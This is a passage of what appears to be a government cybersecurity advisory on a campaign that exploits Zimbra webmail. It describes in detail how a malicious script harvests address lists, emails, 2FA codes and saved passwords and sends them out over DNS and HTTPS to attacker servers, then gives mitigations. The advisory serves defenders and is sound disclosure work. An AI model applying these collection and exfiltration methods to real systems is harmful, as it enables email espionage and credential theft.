<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
